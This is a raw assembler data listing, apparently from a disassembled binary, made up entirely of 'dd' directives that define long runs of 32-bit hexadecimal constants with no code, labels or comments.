		dd 6AEB22C6h, 0FA6B5E76h, 70A638F7h, 0EF29F375h, 9D964D2Eh
		dd 9ECD39F8h, 621B32B3h, 53E4FA36h, 0A0ECC459h,	0A55C2BD2h
		dd 7595020Dh, 63F6B3BBh, 769A0172h, 8BF14Eh, 0C4DFDF4Eh
		dd 974DD52Ch, 2B5C8910h, 5BF52C29h, 0D21BFF72h,	494E9C2Bh
		dd 63BB3CE8h, 0B2F09BD7h, 2B14E0D3h, 6AEBF2A0h,	4F0AE160h
		dd 4923016Eh, 4A3DB80h,	39EB6457h, 0A8BCDF2h, 0CBAC50F5h
		dd 0BE116051h, 7FF4F37Dh, 97EF0D83h, 6D181172h,	31DE09F9h
		dd 13D45285h, 0ED63EF77h, 747E39BEh, 4A103954h,	0E3BB5556h
		dd 3CF62616h, 3692D1F4h, 6E100504h, 12774D54h, 0FA0890F5h
		dd 85A2DC14h, 0AF4E8664h, 7F99E150h, 4A1910A1h,	0D275C1EAh
		dd 414852Eh, 89AC2B99h,	34D38EE9h, 0F290DC0Bh, 462C382Eh
		dd 0C7CE62CEh, 11ACFA7Eh, 1D37CD2Ch, 8852AC7Eh,	17154542h
		dd 73711F53h, 652B10C1h, 5A073367h, 0D7CBD4C8h,	0B8E5FA02h
		dd 47B959D9h, 11B31286h, 7E535259h, 0BE193362h,	0CE1AD3B2h
		dd 121BA3B3h, 0A75F1B8Eh, 0AED1168h, 0B8309DA6h, 16A50C5Ch
		dd 96ED8A6Dh, 0D6C9AF3Ch, 2630B033h, 2ADC2B79h,	31B69F6h
		dd 0BC58E04Eh, 8F3149Dh, 66D1DDF2h, 5ED6D25Fh, 0F945ED70h
		dd 0A0401DDDh, 0BCEEF47Eh, 65D75BE8h, 64EE2558h, 0B4A8F1E6h
		dd 6FD94990h, 0AEA45F62h, 718D8E6h, 3FA0A757h, 8B1E5607h
		dd 99E512Bh, 90259E89h,	78579949h, 9CF3A1CAh, 0D13A98AAh
		dd 13D12378h, 0E1930309h, 0CF9BC2E8h, 13141EB7h, 0C85CCC27h
		dd 0CD049FF2h, 1226CE41h, 99DD1692h, 4A55D5E1h,	0D2DEE9CDh
		dd 0ED5861Fh, 5B06A41h,	639687E7h, 0CB4DEA14h, 0C7454932h
		dd 5D0A8D0Eh, 0B2F171h,	0ABFA64CCh, 0DFB65D7Ch,	679E645Bh
		dd 0F2FF15B3h, 32EA041h, 0D5070D26h, 0EF1FF694h, 0BE2EA6AFh
		dd 0AEE77B90h, 56406AEFh, 0B604723Fh, 804D35F3h, 6DF6F7BAh
		dd 57F4D8A5h, 59611243h, 46FAE56Eh, 1D1B167Fh, 0BC1C644Ah
		dd 5C0228B7h, 0D638EC79h, 73FEF7BBh, 0A91F82BCh, 660EF578h
		dd 42B45A33h, 0AFDAA162h, 456D226h, 471FCC3Ah, 0D51A45B8h
		dd 0A9109355h, 8CA4AB5Dh, 331608E0h, 3333A74Ch,	0FD59E80Eh
		dd 0FDADA97Dh, 3FC1B943h, 34C13A80h, 0A53BE560h, 0D9357F40h
		dd 0E1FDAB79h, 0DE8473D1h, 7E11D06Bh, 600EFA1Ah, 6E9FD18Eh
		dd 0B764E01Eh, 48FE395Ch, 40D18CE4h, 0C709A205h, 3550246h
		dd 0F665AF9h, 815A6A74h, 716AAE87h, 0FF6F1472h,	70D16169h
		dd 0F3729B56h, 0A70A1384h, 0C8F4064Bh, 0B29F1907h, 189C1D8Bh
		dd 4F2BB964h, 828EF60h,	56C6E6A5h, 0F7210BF1h, 7F7B138Dh
		dd 143C8F56h, 0C322D051h, 0A0EF18BAh, 7034112h,	993BB078h
		dd 0EBBA7B39h, 0AEE6BB14h, 7BF50CECh, 446EA032h, 9FF067B6h
		dd 62A196C1h, 28DDCD8Fh, 0BB799D95h, 18979631h,	0CBE44590h
		dd 0BD6F0E35h, 0C73101D2h, 59F1F884h, 0FEE8E384h, 4B069F35h
		dd 46E7E8D9h, 0B6530E33h, 0BA0EE434h, 0C320FC72h, 6C9F6045h
		dd 375DC9ECh, 30160B55h, 0AA96DF69h, 1503EC5Ch,	668EE849h
		dd 419CE61Ch, 0E31F4983h, 8AF54BEBh, 8170F9DCh,	0E80CBD2Fh
		dd 7FF32B63h, 705B992Dh, 25D5B48h, 0A496B609h, 1B4ACB82h
		dd 0ADD002E6h, 0EA97AA1Fh, 0ADA4DE33h, 0A3C3E8DDh, 94EA4477h
		dd 9D00BDEAh, 39E12505h, 0FFFA35AFh, 0ACE78C93h, 0D9E9C6F9h
		dd 5A857C5Eh, 119DE1C4h, 5AA1C846h, 0A08E2E0h, 2471420Bh
		dd 0F27DDC72h, 62FA4357h, 0ED954692h, 8EF7B6A6h, 2239E12Ch
		dd 202FBFCBh, 1B57DC7Ch, 2F8187DEh, 4C2FB8Dh, 9D88E112h
		dd 8C16FCF4h, 52B69260h, 0F461D2D9h, 42ABDC73h,	8286165Ch
		dd 2ED1AC1h, 6AEBFE5Fh,	3D6113Bh, 9222BE64h, 43ECF435h
		dd 7050CEBBh, 0ECD7CB0Ch, 92024957h, 8EEC7175h,	8DD92075h
		dd 0CE22242Ah, 661A616Bh, 74C4B0BBh, 0BFF5931Bh, 22904659h
		dd 0BC515070h, 0E0B3C5ADh, 7EC9A4ABh, 0B2D7DEFCh, 62DC3C7Ch
		dd 1F75365h, 64011F8Bh,	9B1C5773h, 3FD85C4Bh, 704C1FB4h
		dd 0EE988C33h, 7CE6803Ah, 0DA8C1712h, 829A4D8h,	4D13C70Bh
		dd 35BE258h, 6981821Ah,	6CDD1AEBh, 0FC989D69h, 4ED5B0A3h
		dd 3A0FE5Bh, 0A34DC57Fh, 0A27B1A3h, 0B2ABFE40h,	0D31D0312h
		dd 0D4F58EB7h, 8F0F6941h, 0D0612D7h, 48D97499h,	5C88B5ADh
		dd 0F448B27Dh, 779D1661h, 0E4AD1F4h, 7F4ED5C1h,	0AF3C6CBh
		dd 2AD5FEAh, 550E19Dh, 0BB023E23h, 269FA5DDh, 0AF72D0FCh
		dd 4C97A114h, 3F1CBDE4h, 34D8B8DFh, 0BEFBE626h,	93F9D5C2h
		dd 314917A7h, 3ACFEA8h,	2D113B9Dh, 5B722E5Bh, 8ED47AD0h
		dd 251DE92Ch, 6D72A772h, 33FE2A35h, 0EF11D600h,	65FEDAC1h
		dd 0BA3F04FCh, 2068B113h, 0B6DF365h, 8E77AB66h,	274716C4h
		dd 64BB079Ah, 0BB28B51Ch, 684DE477h, 9E2A2C6Dh,	52CACB1Ah
		dd 0ED0EA9B5h, 0C453F715h, 9655F688h, 6F01A6C1h, 0AA14292Eh
		dd 7B311Dh, 71FECCBDh, 7C331B90h, 7F31C1AFh, 0C2E65B58h
		dd 0C264205Ah, 0EF17B511h, 97C2CBBDh, 0EA37FC1Ah, 0C3C407BFh
		dd 36ABF8E3h, 8FBA8A58h, 0B196C758h, 0DE39FF1Ch, 4B02A0C8h
		dd 0BBD2CC58h, 8BED40D6h, 0E063CA03h, 5DD89E17h, 692858A4h
		dd 4FE04F17h, 4E527B3h,	67FCC066h, 95A17993h, 0D1035D01h
		dd 0B5F88807h, 0C0CFEAF0h, 2E7FD4A9h, 1A1B5DA5h, 6B42EB70h
		dd 6B2CE557h, 0E80C1627h, 6DAFE52Ch, 6648A112h,	19BE00E0h
		dd 6B50A127h, 843FC87Bh, 6D4B7Ch, 1AA8D76Eh, 0C5ED6D90h
		dd 30FF023Dh, 2CD40421h, 0FC03D7Dh, 17BD8AC7h, 91CBF0BBh
		dd 5B0A11B7h, 901016Dh,	0E1C8D400h, 0B508BE8Eh,	92CD17FBh
		dd 65CCA138h, 0A9F4900h, 1F6F20D6h, 0CFDE9325h,	415652F5h
		dd 239DACC9h, 0F03C7B9h, 0A54FD613h, 0C3FD6E2Ah, 4937B9B8h
		dd 26039C0h, 74D40655h,	0A7C60C47h, 0F777160Ch,	72B014EBh
		dd 0F86C4A30h, 0BAD7CF24h, 0F08FFB00h, 95A91D14h, 768AC320h
		dd 0E798A162h, 0CF0729BDh, 13C2B68h, 0BE3D35A3h, 3D525721h
		dd 5FE8014Ah, 77EDE272h, 0A40CDBEh, 4BFF32BEh, 44F02EFBh
		dd 1737D1A3h, 4C3D8C53h, 0A79DD0A3h, 6D3D7B52h,	0A7D0235Bh
		dd 0A19E1D28h, 0C1D12353h, 0A26B1DB8h, 0F430B72h, 3F0CA5B8h
		dd 104310BEh, 0F40C34DEh, 9C18F3BEh, 52C6342Eh,	9C132EC0h
		dd 53378E2Dh, 45F02E8Bh, 0B997D9A3h, 0CC3D8A55h, 0AEB1D8A3h
		dd 7EBACE91h, 4D10C32Ah, 0BE8513E9h, 1835B905h,	4BFE3934h
		dd 0A402D6Fh, 4CF1B744h, 5AC3D6A1h, 0C0103D0Dh,	0BD4174A1h
		dd 9E0E68B4h, 0FB212219h
		dd 9E9F1C49h, 0AB1E22F7h, 6411FFBh, 0B763C4A2h,	0E83E8F6Eh
		dd 0E4320CA2h, 9DD92D6Dh, 5326405Bh, 9E772DDFh,	4B7B305Dh
		dd 4341CAA1h, 0FB860584h, 4DC115A2h, 0D5D1AD06h, 0A506285Ch
		dd 22310BB0h, 0CAE9B3BCh, 0A194C4DBh, 54F223FCh, 0E6383BADh
		dd 20AE978Dh, 5F43A9BAh, 88A4F052h, 0BAF4FB25h,	9BBA2A3Fh
		dd 5D391E71h, 7343E2BAh, 0A5A36532h, 6FF620C3h,	0EB397145h
		dd 0B370C4A4h, 0FB39BD1Ch, 0A478F7BDh, 1EF02A16h, 0DAD4F143h
		dd 9BBA2A3Fh, 0C466E88Ah, 9BFA264Fh, 12344C9h, 5C5F2928h
		dd 0A5E3F0BCh, 6D3000C9h, 0A50E7D11h, 0A3012079h, 0BC398C01h
		dd 0A3FCCDA4h, 0AD38081Fh, 0A31BEFA4h, 0AAF72A1Eh, 23BE939h
		dd 9B232AC0h, 43BEB00h,	9B302A5Ch, 53A087Ah, 2632F4BAh
		dd 3FD92879h, 7F4200BAh, 0BC0828EBh, 0AE9218BAh, 4B1C3387h
		dd 74192B43h, 2394EB5h,	0EEABCA4h, 68381D79h, 4332E3A4h
		dd 9BFD2A02h, 36CEFFCFh, 9BF82A51h, 91EB8563h, 23F73D0Dh
		dd 5E39EB17h, 0A478F5A4h, 40F32A18h, 6C3B9AA4h,	56182A59h
		dd 0BD8731B1h, 3C073157h, 7B140DE6h, 0F626E657h, 162AC53Ch
		dd 22320584h, 6E38E20Ah, 0A1E7F573h, 3E7551FBh,	0FFF4E80Eh
		dd 6D432E2Fh, 0A1032D45h, 422FB8CBh, 0BFC61534h, 0A83AF375h
		dd 2B406ABEh, 0B0243DC2h, 0A1D9EA79h, 0D675F95Fh, 0A278261Dh
		dd 8753929Ch, 954C509Bh, 5C792ED3h, 6FFDB3FEh, 2B3D9C66h
		dd 5EF88699h, 0A1219560h, 0DA75E0D9h, 0F244F746h, 983FCBEh
		dd 7145661Ah, 3903F9BEh, 60FFF562h, 0A1DF5471h,	5D4C14CCh
		dd 1B32EEEh, 61F071A1h,	0A1F2827Dh, 0FD791459h,	3AEDC976h
		dd 862D74BEh, 44C78609h, 0A1B64578h, 169DF9CBh,	76B4516Ah
		dd 265FA01Bh, 7AD6173Dh, 51A6512h, 0B179F8ECh, 36E2C505h
		dd 7BF3D99Eh, 128DCD5Dh, 1134C374h, 81E03120h, 0A8DEF02Dh
		dd 7F32AC2Eh, 0F3D99Eh,	0AABFDFB7h, 6BCA4E1Eh, 1FCC371Dh
		dd 135DC9B5h, 0C211D774h, 79F940C8h, 43DE4001h,	68959A43h
		dd 0B74B8A00h, 4E231673h, 0AF2DB35Ch, 0AEF0194Dh, 0B6BB5B33h
		dd 8472DE83h, 2AFD080Eh, 4E0A4D49h, 63C49E62h, 0E1E0A71Ah
		dd 14DABB6Bh, 3132B2B5h, 0A6DE66D5h, 0BCE92EBCh, 7C171B5Eh
		dd 0B46D858h, 0B29C156Bh, 0BB040001h, 0A91E5865h, 5DC70CFDh
		dd 0B91C5307h, 48490B35h, 59194D3Eh, 774A1644h,	18076EB6h
		dd 4250E662h, 96E2B146h, 0BB5EAE27h, 99170C66h,	4930FF37h
		dd 0CC2AE2FDh, 5AB50644h, 0FEBC0DA9h, 7823E640h, 0E2340FACh
		dd 4701A75Bh, 2A240A93h, 21E62556h, 0BB05E481h,	0A91D5866h
		dd 5DC4C1FDh, 0B9225327h, 8BDA173Ch, 0E2BA73C7h, 0BB01DF4Dh
		dd 2A25E193h, 211F2541h, 0BB05C781h, 0A918585Fh, 5DC714FDh
		dd 0B915535Ah, 5846C535h, 59054D3Eh, 7B4A0E44h,	18C46EB6h
		dd 49520162h, 953E71Dh,	0AB5F8853h, 0BF5939D5h,	591F4D3Eh
		dd 0AEE6175Eh, 0BBE2B489h, 5814784Dh, 7ADAF36Ah, 0BE01DF4Dh
		dd 22240C93h, 5DC6D957h, 0B91E5344h, 5460C35h, 0B200BC9Dh
		dd 2A240083h, 211F2541h, 5E0001E5h, 13DE1A7Ah, 0FF589D63h
		dd 0AE9603BDh, 0F3A204Bh, 6563E113h, 6AF5A04Dh,	3034F360h
		dd 0B2A4F196h, 0E796D6ECh, 0D851C06Bh, 6928F329h, 0DD685C7Eh
		dd 6DEE3925h, 9CFEE9C0h, 1F6E8A0Eh, 0A14395Ah, 891DB589h
		dd 4A41BC50h, 663CF853h, 4A223930h, 0B13C6B5Eh,	5D172355h
		dd 0D906F476h, 5DA7C9F5h, 3D9A87Fh, 0B2F41B84h,	0C9612062h
		dd 4E3AC375h, 0F7E9367Fh, 50F5E0B6h, 65CE7ADBh,	43632DA7h
		dd 4409965Ch, 0D6169415h, 9247DCE8h, 0F883401Bh, 0EF84B30Eh
		dd 0EF977D74h, 61686349h, 0D01112B5h, 1DF1ED45h, 77B8EFDEh
		dd 991FF130h, 1A274753h, 781AFC7Ah, 6695DCD9h, 6514AE43h
		dd 0BE902151h, 787A8A7Ah, 0B31AF158h, 441CD4BDh, 603AB554h
		dd 0A8170219h, 51101F52h, 4C12A3BEh, 609A7BE1h,	0DF141992h
		dd 5423217Ah, 71D5E358h, 0B3F72CCAh, 0C9D73FA6h, 16B73E21h
		dd 0BC9D0833h, 0EA1BB385h, 3E02EAC2h, 3EFFF321h, 5DBE10B1h
		dd 0FB4FF721h, 46275D08h, 3B3195Fh, 2CDD0F11h, 0DE208D5Ch
		dd 5B093133h, 0A74F66C1h, 6EE5E9E1h, 0A7D0F553h, 0BAEE142Fh
		dd 0A1DDA7E6h, 668506BBh, 0C171156h, 2A7B656Ch,	68B8FC0Fh
		dd 87EF6A69h, 69298085h, 50A8031Ch, 616C59D0h, 484AA7BAh
		dd 0B2BABC21h, 29265B6Dh, 6172193Eh, 8611E7Bh, 59DDFD51h
		dd 5E697C51h, 9B102451h, 67153AD8h, 860955A4h, 68344CB5h
		dd 180F5717h, 69B943D7h, 8A1F8722h, 3015E37Ah, 851D00CFh
		dd 6F916B06h, 25E83152h, 7F92E5E6h, 14C1FDE8h, 65E6588Eh
		dd 0F25FCB06h, 5FD7D7ACh, 0BDB6848Bh, 0E7B9007Dh, 0A7B40413h
		dd 520B2D60h, 0B673E17Bh, 6A49B2C0h, 84F0F4C3h,	0CFF6FBB4h
		dd 655A8FDBh, 0B8DFE7C2h, 5422D415h, 399F49E9h,	0F012B05Dh
		dd 0CFD50F2Ah, 0CB51A7h, 6CFC5E6Bh, 24857CB2h, 2F16EEAFh
		dd 43075D69h, 0CE868917h, 0ECF25Bh, 99E1534h, 908FD136h
		dd 41FE7889h, 0AE1A68A7h, 0F519BCA9h, 0BDE6EE28h, 6914F05Ch
		dd 0B098FA5Dh, 0DF6427D8h, 0C88EEAF4h, 96D8316Ch, 0DAFF6B51h
		dd 6AFA14F1h, 2D97058Eh, 7E1E1375h, 5494F0A1h, 0BA3C989h
		dd 0BDEDF4F3h, 5FF03D78h, 0D971C8F5h, 780831B3h, 0EE19260Bh
		dd 2D6BFA7Ch, 0E382EA57h, 0BFE0666Bh, 52FAA1F2h, 62D8F48Bh
		dd 8C657351h, 93F3EBD9h, 3FD1C359h, 93D9AD58h, 0F1F19339h
		dd 7278FCD2h, 0C9D339DAh, 5985FDEEh, 6AFEFC3Ah,	3BAA4E06h
		dd 1FF5065h, 9AD28FAEh,	69F1E42Dh, 6EFFEA62h, 6CD3C612h
		dd 30BB7792h, 3A90748Eh, 0D407E984h, 987C4BCFh,	37E05B99h
		dd 8E3A01B3h, 7E30FA07h, 264C402Ch, 0E83EDD9Ch,	6825D85Bh
		dd 6146B6B1h, 0C66B0DD2h, 0C5FE1F9Bh, 181F0D9Ch, 1B6EF786h
		dd 5EAD820Ah, 447C0916h, 5486167Ah, 75B51D76h, 464080E8h
		dd 0E41AEC13h, 0F794FAA1h, 0C06AD20Eh, 7E1C902h, 414EBBCDh
		dd 0C5F3710Eh, 419BF163h, 855FA16h, 0CFEE0381h,	91879CEBh
		dd 744FC8ABh, 0DC3A9F2Fh, 0E98DE4C9h, 0AAB1262Ch, 80C5E49Bh
		dd 74CEAF46h, 0FCCE8A04h, 8AF545AFh, 6351CD4Ch,	0F7512A0h
		dd 9F0B0BBCh, 0DE0BC4CEh, 82DD7B32h, 0FCDF6866h, 0FAD34693h
		dd 36F07C73h, 0EC0CA5E8h, 19FC08B2h, 27314D59h,	5CE17696h
		dd 0FFF15555h, 39D50E1Eh, 0D38D71h, 0C1765817h,	4374BFB5h
		dd 41896CEEh, 0B266BBF0h, 37458E51h, 3D13B440h,	0DCDF355h
		dd 822101BFh, 0CA8EBB0h, 126FE547h, 4788FA70h, 5C74CB57h
		dd 6301175Ah, 2D0D206h,	80BCDD1Dh, 68A5DFEEh, 0CB799A4Fh
		dd 31BC97Ch, 43423AA2h,	8B67FB25h, 91EE64D0h, 0A699EB7Bh
		dd 675CC374h, 1FCDAF65h, 276C4841h, 0BF5ABB9Dh,	0D204D30Ch
		dd 0A387BF59h, 61EB4E76h, 0CE16B19Ch, 0FE0339D2h, 0A00597Ch
		dd 0A722C8D1h, 0BD0B7EE3h, 66AD262Eh, 45E23D9Ah, 689A1103h
		dd 801BE067h, 0B7071932h, 444B4701h, 9208270Ah,	5C351DFDh
		dd 2E45CD58h, 85F54229h, 77872613h, 0D7D86B54h,	1A6A7BF5h
		dd 746F737Bh, 720D7BF9h, 7ED28FD4h, 0ADEC14D6h,	64DB62F7h
		dd 72ED317Ah, 12F43CEFh, 845DF19Bh, 89DDAE00h, 0D99F81C2h
		dd 0CE8BE993h, 0B4E81E6Ch, 623484C5h, 3CDCAA57h, 6400EA45h
		dd 0C4EC17B2h, 74F33D65h, 0AE16CA03h, 0E9AF4FF0h, 9908DD1Bh
		dd 0D11434AEh, 1AD4AC96h, 7FB3F639h, 603D1A8Ah,	0DAFC6F50h
		dd 0FF9AE3DBh, 0C762839Bh
		dd 39CDB10Eh, 98812982h, 6D7E128Eh, 0B462F0Bh, 767E841Ah
		dd 27C8D1D0h, 5F6F5375h, 3DF0BF32h, 193A4B76h, 0B195EE4Fh
		dd 9D6797FAh, 34BC2466h, 355034C2h, 438B3943h, 5B78F351h
		dd 0B26F968Eh, 2F4795BCh, 71F2A352h, 0ADD4D191h, 5E83ACCCh
		dd 74D2B61Fh, 0C61D6677h, 17DEE3A3h, 901D9874h,	590E1948h
		dd 43D7B9B4h, 0C7B1E08Dh, 0EEADDE46h, 3045D297h, 0A38D54A0h
		dd 0E5D30E7Ch, 29921585h, 0A3996F00h, 3DF04C28h, 6787DF0Dh
		dd 461E1A97h, 0D937CFF0h, 3BA48161h, 5B39D834h,	8A6DC56Bh
		dd 0CDE464B1h, 8151D255h, 0BAC6ADB2h, 4EC46412h, 2BAF8ABh
		dd 1685FF7Dh, 93379CD3h, 1798FB51h, 10A03709h, 3EDD3031h
		dd 0CCCE136Ah, 8849DE15h, 0FFD31D44h, 362C816Ah, 0BA771B17h
		dd 0C2F0D4A7h, 2D16C6AAh, 0C4E88A99h, 0BD67602Eh, 3145D494h
		dd 7ECBF0B1h, 44E855D0h, 63CAFC79h, 0C18925C8h,	4235458Ch
		dd 0ADFE6A75h, 7E176B4Bh, 62187AC9h, 76DFA3E9h,	3BF14621h
		dd 0B96CCBB0h, 0B41ACE48h, 7B3AE856h, 0EC1B4D00h, 1EEDFCABh
		dd 0A888EC6Ah, 693BE2BEh, 5B292C09h, 0B98BE9B3h, 0B6A83934h
		dd 0EDF60940h, 0E26E66Ah, 768E4919h, 0FBE40061h, 3B90190h
		dd 0BE62EC3h, 41290092h, 127C3B26h, 0BD4BFF93h,	0BCB7C65Bh
		dd 0AFF03AB1h, 0AF5274E7h, 9E89E449h, 95905645h, 0A4A11A63h
		dd 2D2FDD25h, 0A86E6772h, 0B6451C6Ch, 0FCF6ED71h, 8C3B7357h
		dd 6A0AEDCDh, 0B2718532h, 97CBD519h, 0CF459CA8h, 908417A3h
		dd 0CEC66AADh, 0E56C5956h, 683AFED4h, 69F935ADh, 0ABF66BAEh
		dd 0E444A9C0h, 0F22C09BFh, 5C76F794h, 25CA9A5Ch, 8943577Dh
		dd 33019EC1h, 7E3273B3h, 4C563562h, 5A2386BDh, 401123F4h
		dd 32E13049h, 36F7E56Ch, 0A3205254h, 4BB2E331h,	8D1D098Ch
		dd 4D212934h, 0B2BD0039h, 0B37062BCh, 0A3787991h, 5B100921h
		dd 1ACA123Dh, 0A320A54Ch, 0ACEED2Dh, 230D53Ch, 0A0D4F143h
		dd 7AF23001h, 762BB1B5h, 6EF3F943h, 663BB049h, 5EFEE943h
		dd 0AC06A865h, 62110D6Dh, 0BC16B055h, 0B21EED5Dh, 0A233313Ch
		dd 9E8C2543h, 2C56E991h, 5F690381h, 0DABB75F1h,	0CE1E9AB3h
		dd 3EB3957Dh, 32FE8143h, 0ACBAA835h, 62D10D25h,	0BCDEB019h
		dd 62EEED09h, 4E30E53Ch, 0BEFD1541h, 0AE230534h, 5B492961h
		dd 82BB51D0h, 0F21E46B3h, 0DAB3697Dh, 0C6FE9D43h, 0ACA6A8C1h
		dd 62B90D31h, 0BCCAB021h, 72DEED15h, 6230F13Ch,	52FAE141h
		dd 42231134h, 23310561h, 0CF4931BDh, 861E52A3h,	0F6B34D7Dh
		dd 0E2FE7143h, 0B186A8E5h, 0BC9AB0ADh, 22AEEDC5h, 0E30A53Ch
		dd 7EFAD541h, 6620F934h, 230AED61h, 0BE1D3355h,	2B32E949h
		dd 92BAD6BDh, 0AD52A0D2h, 636D0D85h, 0BC82B0F9h, 3E96EDD1h
		dd 2E30853Ch, 1AFAA941h, 620D934h, 23EACD61h, 0BE013375h
		dd 2B0EE969h, 5E1D0359h, 0A6BA3D49h, 962322B3h,	63512DD3h
		dd 0BD5EB099h, 0E372ED8Dh, 0D230613Ch, 0C2FA9141h, 36208134h
		dd 23BEB161h, 0BED5332Dh, 2BE2E91Dh, 5EFD0371h,	42BA1169h
		dd 0AA213AB3h, 5C940D62h, 0A233491Fh, 963341BCh, 0BF4D23D4h
		dd 2C5AE995h, 5F6D0385h, 0DABB69F5h, 0C61E9EB3h, 36B38D7Dh
		dd 2AFEB943h, 30429221h, 0F4F2DDC9h, 1EF6F559h,	3317A7Dh
		dd 4D291C51h, 73011B41h, 2620B21Dh, 0C3EAA839h,	0CDC2A821h
		dd 72A74C7Dh, 7E11BD50h, 1A03AD52h, 5EC92843h, 0ABBDD2Dh
		dd 7E1ECAB3h, 6EB3C57Dh, 26EDF543h, 5C86F525h, 5ABBDD09h
		dd 9E812821h, 30091361h, 733EAAB9h, 4F76F571h, 0A47B116Ch
		dd 43F1795Dh, 15056Ch, 0A6F339B1h, 0BE0A68B5h, 4BE92901h
		dd 9C925EBCh, 63590D95h, 0BD66B081h, 0E376EDF1h, 0D6306D3Ch
		dd 0C2205056h, 23AA8161h, 0BDB53331h, 2813DC6Fh, 4EC92850h
		dd 0BA33DC9Fh, 9CB412Ah, 0AA9BA4A7h, 0B1157312h, 0DCA77B6h
		dd 5129C28Fh, 113ED619h, 523ABB04h, 0B9C50576h,	0C2DC8718h
		dd 4A336951h, 7BDADC04h, 7FCDD9BDh, 764C2892h, 0CD7AAC46h
		dd 0FDC3301h, 6386B5D7h, 117AF307h, 73F41963h, 0FADD5676h
		dd 26FCA63Ch, 0BAD6F250h, 4D424F9Bh, 3FDF2307h,	7EE232A1h
		dd 70EFCD24h, 792EA2FBh, 2A34BC29h, 0B6FD1C03h,	0FB8CF363h
		dd 0E334C15h, 1E03E813h, 13D7C9B5h, 1154D576h, 9A5403A9h
		dd 7ED02EB7h, 1CD32B1Fh, 5C4CCEC8h, 0D79F5858h,	5BF74929h
		dd 1642D294h, 635C1914h, 3455F0D0h, 17B4C80Ch, 8DCD257Dh
		dd 87DECC85h, 0E2AF85BEh, 0A2B3CF58h, 0AF54DA4Eh, 0BEA730FCh
		dd 0AAC7B2B5h, 7CCFCEBBh, 4FC1CBDh, 0D311087h, 2C17B7BDh
		dd 55353B75h, 5ADA8D2Eh, 7E34316h, 607E803h, 0C650D986h
		dd 8ED124F9h, 42B4C82Bh, 5BB2C126h, 3F528677h, 70F5EAB2h
		dd 0FE17625h, 0C966318h, 0BAC01853h, 67B1ED64h,	7C5B3037h
		dd 15DFFCA0h, 3436A473h, 0D0D5397Ah, 0A575E77Ah, 0CD8ADC33h
		dd 4BB5F567h, 60101D72h, 69CDA341h, 9CE2B7F8h, 53F338C6h
		dd 0AF8F149h, 4DD7CCCCh, 980E8C2h, 4B799462h, 0BB51509Fh
		dd 3485CA0Ah, 7A66F0BBh, 1AE79800h, 6217EC77h, 9200EB64h
		dd 3FCF6B35h, 14DA376Dh, 0C429D318h, 77D97305h,	65438074h
		dd 7303F376h, 0E23EB17Ch, 64DCB852h, 6A9CAF69h,	3ADEE05Bh
		dd 4EC51214h, 0ED4BBC54h, 0AC15DD40h, 2EAB5712h, 4D4B19D4h
		dd 20482C6Dh, 34145987h, 176BC6F3h, 0EFCF1752h,	8DCB2442h
		dd 7D250103h, 0F6AFC899h, 4F54F6E4h, 4AABD45Ch,	0AEBEDB19h
		dd 5B0E52DAh, 55522F33h, 6BDEDF5Dh, 5FF0CA7Dh, 625D2065h
		dd 26F47478h, 0F1DAC2E4h, 531A8A00h, 576FD1D1h,	34D676B2h
		dd 3BDFCF1Ch, 1C60D885h, 68DFEF54h, 0CBD4C3FBh,	2603E015h
		dd 5E33D304h, 4F950B7Bh, 0BAFFC162h, 4D17EA77h,	3A9F1312h
		dd 0EB1DEC2h, 66CEB999h, 51FE81Fh, 0D4FAA242h, 88CC12Bh
		dd 1E0CF552h, 5BFDFDA1h, 0B9937D73h, 70DE2F41h,	66D1291Ch
		dd 18F819C4h, 5D148CB0h, 75CD591h, 5B13D611h, 0EEFBEDFFh
		dd 42A5EC73h, 33A2D818h, 681EE87Dh, 0F615C670h,	7DB10D51h
		dd 0F075F57Fh, 7F8D0061h, 5DDE1C03h, 69F3EDA0h,	0BDC85446h
		dd 7BCAF15Dh, 1A804B82h, 88FF71B4h, 0C9160A64h,	6E0D2282h
		dd 32328D7Dh, 0C4E85F13h, 0FA3129C6h, 4DEAF15Bh, 0F4AB815h
		dd 8B161D85h, 3CBF175h,	35D6F01Fh, 272C1960h, 0BF6305A6h
		dd 8BA5615h, 4C7FE34Dh,	0C5F6736Ch, 5DC88922h, 5D415D7Dh
		dd 0FFDF716h, 0BE5FFB2Fh, 7C80C72Dh, 0B9BEF552h, 86DDD603h
		dd 336AE871h, 14CFCB50h, 5631B900h, 9EBF7151h, 1FEA197Ch
		dd 4EFA142Eh, 0A33DB303h, 5C1533CDh, 3A1D091Bh,	4AF9E3BBh
		dd 0BF0EFA1Bh, 0BCA00ADh, 223762Ch, 565B83D2h, 9348CB15h
		dd 2B95E45h, 0B507787h,	64707D30h, 61EE92A3h, 1DD03D20h
		dd 612AD85Ah, 6A2A1053h, 0C0488A7Ch, 0BCD17578h, 2A32CFFFh
		dd 6FDAB1DBh, 82D52576h, 2B88CB51h, 0AE0FFB4Eh,	5FFEBAA1h
		dd 461FC13Ch, 0FED96BC9h, 95EDD6CDh, 1E34B941h,	44DD3051h
		dd 671810C5h, 6D5A1158h, 0A76CFF9Dh, 6203096Fh,	0F4A9E101h
		dd 5BB4E561h, 0AA1EA7Dh, 6CB89534h, 642D290Ch, 7E01E88Bh
		dd 1FEE797Dh, 27363BD1h, 72960AA6h, 1B6EBFBEh, 425847E8h
		dd 1DF42D22h, 645DF770h, 0A0EF2ADFh, 7E9C713Fh,	0F2E385DBh
		dd 8E408D04h, 40C1383h,	52998CC5h, 5027439Bh, 0F6B73F02h
		dd 0EFA500A2h, 4FD11D73h, 345A1210h, 7D06EA4Ch,	31035E13h
		dd 13AEF140h, 5F1F5B62h
		dd 0F4FC0C5Fh, 0F01915ECh, 707BCD41h, 0FFE7DE5h, 6896A7C6h
		dd 852D1CE7h, 0BFD99312h, 17D48Bh, 0D54D2E2Dh, 98D5CC85h
		dd 6BF64FFDh, 53409810h, 0B88D7D17h, 36288C2Ch,	977F0283h
		dd 42EACB17h, 0F2E0BD16h, 1B32DD5Dh, 0F2F6DFEDh, 0E88CBB02h
		dd 145AD335h, 4DDE0D78h, 6C08CD0Fh, 67FAC92Bh, 1290CF53h
		dd 41767A70h, 4CF818CDh, 0EECC1A5h, 0D063D200h,	1AA98EB8h
		dd 0C1E6554h, 7431EE7Ah, 0C9316540h, 2BCB97B8h,	6378E254h
		dd 6EFFF502h, 0FDCD1D0Ch, 0E6A8C704h, 3C83F91Fh, 507B9214h
		dd 80FB8371h, 0A3B35E3Dh, 5E030377h, 72BBE20Fh,	661EF8B3h
		dd 64B3EA7Dh, 61FEE943h, 0ACFEA87Fh, 62F50D72h,	5AEFB076h
